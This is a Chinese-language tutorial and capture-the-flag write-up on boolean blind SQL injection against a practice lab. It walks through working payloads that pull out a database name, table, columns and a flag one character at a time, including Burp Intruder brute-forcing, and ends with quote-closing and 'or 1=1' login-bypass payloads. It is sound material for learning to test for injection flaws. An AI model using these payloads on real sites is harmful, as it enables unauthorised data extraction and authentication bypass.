注入全方位利用-盲注
一、盲注介绍
- 注入攻击的本质,是把用户输入的数据当做代码执行。
- 这里有两个关键条件
- 第一个是用户能够控制输入 1个字符
- 第二个是原本程序要执行的代码,拼接了用户输入的数据
- 这里有两个关键条件
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
- union select 联合查询注入
- updatexml 报错注入
- 布尔盲注:因为他不需要猜字段,不需要union 只需要and or
- 延时盲注: sleep()
二、盲注需要掌握的几个函数
- length() 函数 返回字符串的长度
- substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
- ascii() 返回字符的ascii码 [将字符变为数字]
- sleep() 将程序挂起一段时间n为n秒
- if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
函数使用:
length()函数 返回字符串的长度
substr() 截取字符串 (语法substr(字符串内容,从哪里开始切割,切割长度))
ascii() 返回字符的ascii码 十进制数字
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确,就执行第二个语句,如果错误执行第三个语句
三、盲注靶场的做法
掌控安全靶场地址:
http://inject2b.lab.aqlab.cn:81/Pass-10/index.php?id=1
1.判断注入点
既然我们知道了布尔盲注只会返回对或错2种结果,
and 1=1 页面正常,and 1=2 没有信息
?id=1 and 1=1 页面显示有数据
?id=1 and 1=2 页面显示没数据 布尔型盲注会根据页面是否成功执行返回结果
2.猜解当前数据库名称长度:
2.1因为得到的信息有限,所以可以使用的函数也有限。
像之前使用database()函数直接得到数据库名,
在这里就只能得到对或者错的信息,就不能得到准确的信息了
2.2 因为盲注不能直接用database()函数得到数据库名,而是先要判断数据库名的长度是多少
and length(database())>11 回显正常
and length(database())>12 回显错误,那就表明,数据库名是等于12个字符。
确定了数据库名有多少个字符组成,那么现在就来猜这些字符。
由于猜的数据必须是对的,才会回显正常。但是把数据库名字的字符一起猜显然是非常困难的,
那我们就换一种方式。一个字符一个字符的才猜,
用我们之前介绍的截断函数(substr)来一个字符一个字符的来猜。
还是先做个小列子。
可以看到有一个叫 stu 的数据库,进入stu数据库
我们用截断函数来猜他的名字
前面的 1 表示截取开始的位置,后面的 1 表示截取的长度。
回显为 1 说明我们猜对了。
同理,我们也可以用这种方法来实战一下
and substr(database(),1,1)=‘k’
回显正确,说明我们的数据库名的第一个字符,猜对了。
以此类推。我们把这12个字符全部猜完,
就知道完整的数据库名了。
最后得到数据库名 kanwolongxia
and database()=‘kanwolongxia’
这种方法看起来很简单,一个字符一个字符的去猜,但还是很费劲。
为了方便,我们就要用到上面5种函数当中的,ASCII码函数。
可以看到每个字符都有对应的ASCII码
将字符转为ASCII码,然后进行ASCII码猜测
从上图中我们可以看到 k 对应的ASCII码是 107
and ascii(substr(database(),1,1))>106 回显正常
and ascii(substr(database(),1,1))>107 回显失败说明这里的ASCII码是等于107,那么对应的字符就是 k
然后再试着猜第二个字符。(只需要把起始位置改一下就行,这里改成了第2个位置)
and ascii(substr(database(),2,1))>96 回显正常
and ascii(substr(database(),2,1))>97 回显失败说明这里的ASCII码是等于97,那么对应的字符就是 a
以此类推。我们把这12个字符全部猜完
Burp跑盲注
1.先写好注入语句
然后抓包,放入爆破模块。清除替换位置,然后重新选择替换位置,很显然,我们是要替换我们注入数据的数据
and ascii(substr((database()),1,1))=107
2.抓包
3.跑包
因为我们要替换的是数字,那么palyloads就选number
查看所有数据包的长度。找到唯一不同的一条数据包,然后查看到数字是107,对应ASCII码是 k
以此类推,我们只需要把字符的位置换了就可以爆破出所有数据库名的字符了
4.进阶
既然我们已经会使用工具来注入了,但是要手动替换字符的位置,还是有点麻烦,
既然如此,那我们就2个地方一起替换,然后爆破。
1.获取数据库名
and ascii(substr((database()),1,1))=107(这里我知道数据是多少 开始猜字段的时候用>1看是否能获取数据,如果正常的话在使用=1跑数据)
选择最后一个
第一个爆破是数据库字符的位置,第二个爆破点是字符的ASCII码的值
and ascii(substr((database()),1,1))=107
设置每个爆破点的参数。
查看到第一个字符位置的字符值是107,对应的ASCII码就是 k
第一个字符我们看了,再把剩下的11个看完。然后拼接起来
最后得到数据库名 kanwolongxia
2.获取表名
同理,跑表名的字符值也是一样,只需要把注入语句换一下。
2.1先获取表长度(一个数据库有多张表,所以我们加limit 0,1取第一个表)
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6
回显失败说明这里的长度是等于6 ,表名的字符有6个
爆破表名每个字符位置的字符值
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1
设置每个爆破点的参数。
查看到长度不一样,看下数据包,果然显示正常。
我们看到第3个字符的ASCII码数字是102,对应ASCII码字符是 f
第3个字符我们看了,再把剩下的5个看完。然后拼接起来
最后获取的表名为IofIag
3.获取字段名
同理,跑字段名的字符值也是一样,只需要把注入语句换一下。
这里我们用了limit函数,所以一次只能输出一个字段名,但是我们不知 道到底有几个字段名,就要自己去试(修改limit的坐标位置)
3.1.猜字段长度
and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))>1 回显正常
and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))>2 回显失败,说明这里的长度是等于2 字段名的字符有2个
3.2.爆破字段名每个字符位置的字符值
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73(这里我知道数据是多少 开始猜字段的时候用>1看是否能获取数据,如果正常的话在使用=1跑数据)
设置每个爆破点的参数。
查看到长度不一样,看下数据包,果然显示正常。
我们看到第1个字符的ASCII码是73,对应字符是大写的 I
第1个字符我们看了,再把剩下的1个看完。然后拼接起来
最后得到字段名 Id
第二个字段为flaglo
5.获取flag字段值
同理,跑字段名的字符值也是一样,只需要把注入语句换一下。
先确定字段名内容的字符有几个
获取长度:
and length((select flaglo from loflag limit 0,1))>1 回显正常
and length((select flaglo from loflag limit 0,1))>8 回显错误,说明该字段的长度等于8
获取字段值
and ascii(substr((select flaglo from loflag limit 0,1),1,1))>1
设置两个爆破点
查看到长度不一样,看下数据包,果然显示正常。
获取第一个flag:zKaQ-QQQ
第二关:
@$sql = 'select *from news where id="'.$id.'"';
这里只是加了过滤,我要我们把前面的单引号闭合就可以了。再把后面的注释掉就是了。
" and 1=1 --+ qwe
后面的跟上面是一个思路的。
第三关:
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
这里只是加了过滤,我要我们把前面的单引号闭合就可以了。再把后面的注释掉就是了。
’ or 1=1 #
后面的跟上面是一个思路的。